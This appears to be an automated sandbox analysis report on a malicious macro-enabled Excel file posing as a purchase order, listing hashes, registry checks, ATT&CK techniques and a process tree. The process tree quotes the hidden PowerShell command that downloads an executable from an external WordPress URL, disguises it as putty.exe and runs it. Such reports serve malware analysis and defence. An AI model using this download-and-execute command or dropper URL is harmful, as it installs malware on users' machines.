15df82f880bb2cdf16b953132f7dd0a80195bd266a98d32b7965391c0f6c08da

Analysis

max time kernel
150s
max time network
142s
platform
windows10_x64
resource
win10v200430
submitted
10-07-2020 07:10

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General

Target

PO-9103829.xlsm
Size

92KB
MD5

14133d71179bdf6257a18dc9808a92d5
SHA1

8a74705278d267865391e10a104701eed9438fa2
SHA256

15df82f880bb2cdf16b953132f7dd0a80195bd266a98d32b7965391c0f6c08da
SHA512

f4e0c6d2921a2fa2fd0387c522e8c06161870b7c5ae7167b4e95136cdcdeb4ea14afa59e19c975fe57be1e86d4b39d3d264558e2721da4d108893787f0277b71

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://manikmeyah.net/wp-content/mu-plugins/unl.exe

Signatures

Executes dropped EXE 1 IoCs

Processes:

putty.exe

pid	Process
3812	putty.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	Process
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
2564	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2316	2564	powershell.exe	65

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeRestorePrivilege	3692	WerFault.exe
Token: SeBackupPrivilege	3692	WerFault.exe
Token: SeDebugPrivilege	3692	WerFault.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exe

pid	Process
2316	powershell.exe
2316	powershell.exe
2316	powershell.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe
3692	WerFault.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	pid	Process	procid_target
PID 2564 wrote to memory of 2316	2564	EXCEL.EXE	70
PID 2564 wrote to memory of 2316	2564	EXCEL.EXE	70
PID 2316 wrote to memory of 3812	2316	powershell.exe	74
PID 2316 wrote to memory of 3812	2316	powershell.exe	74
PID 2316 wrote to memory of 3812	2316	powershell.exe	74

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
15	2316	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
3692	3812	WerFault.exe	74

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO-9103829.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://manikmeyah.net/wp-content/mu-plugins/unl.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - Blacklisted process makes network request
  PID:2316
- - C:\Users\Admin\AppData\Local\Temp\putty.exe
    "C:\Users\Admin\AppData\Local\Temp\putty.exe"
    3⤵
    - Executes dropped EXE
    PID:3812
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 868
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious behavior: EnumeratesProcesses
      Program crash
      PID:3692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\putty.exe

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C:\Users\Admin\AppData\Local\Temp\putty.exe

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memory/2316-4-0x0000000000000000-mapping.dmp

Download
memory/3692-44-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-48-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-56-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-35-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-34-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-54-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-53-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-52-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-51-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-50-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-17-0x0000000005800000-0x0000000005801000-memory.dmp

Filesize
4KB

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memory/3692-8-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

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memory/3692-49-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-40-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

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memory/3692-47-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-36-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-46-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-45-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-43-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-33-0x0000000005970000-0x0000000005971000-memory.dmp

Filesize
4KB

Download
memory/3692-55-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-42-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-41-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-37-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-38-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3692-39-0x0000000003870000-0x0000000003871000-memory.dmp

Filesize
4KB

Download
memory/3812-25-0x0000000000000000-mapping.dmp

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memory/3812-30-0x0000000000000000-mapping.dmp

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memory/3812-10-0x0000000000000000-mapping.dmp

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memory/3812-32-0x0000000000000000-mapping.dmp

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memory/3812-5-0x0000000000000000-mapping.dmp

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memory/3812-31-0x0000000000000000-mapping.dmp

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memory/3812-29-0x0000000000000000-mapping.dmp

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memory/3812-28-0x0000000000000000-mapping.dmp

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memory/3812-26-0x0000000000000000-mapping.dmp

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memory/3812-27-0x0000000000000000-mapping.dmp

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memory/3812-16-0x0000000000000000-mapping.dmp

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memory/3812-14-0x0000000000000000-mapping.dmp

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memory/3812-15-0x0000000000000000-mapping.dmp

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memory/3812-12-0x0000000000000000-mapping.dmp

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memory/3812-13-0x0000000000000000-mapping.dmp

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memory/3812-11-0x0000000000000000-mapping.dmp

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memory/3812-9-0x0000000000000000-mapping.dmp

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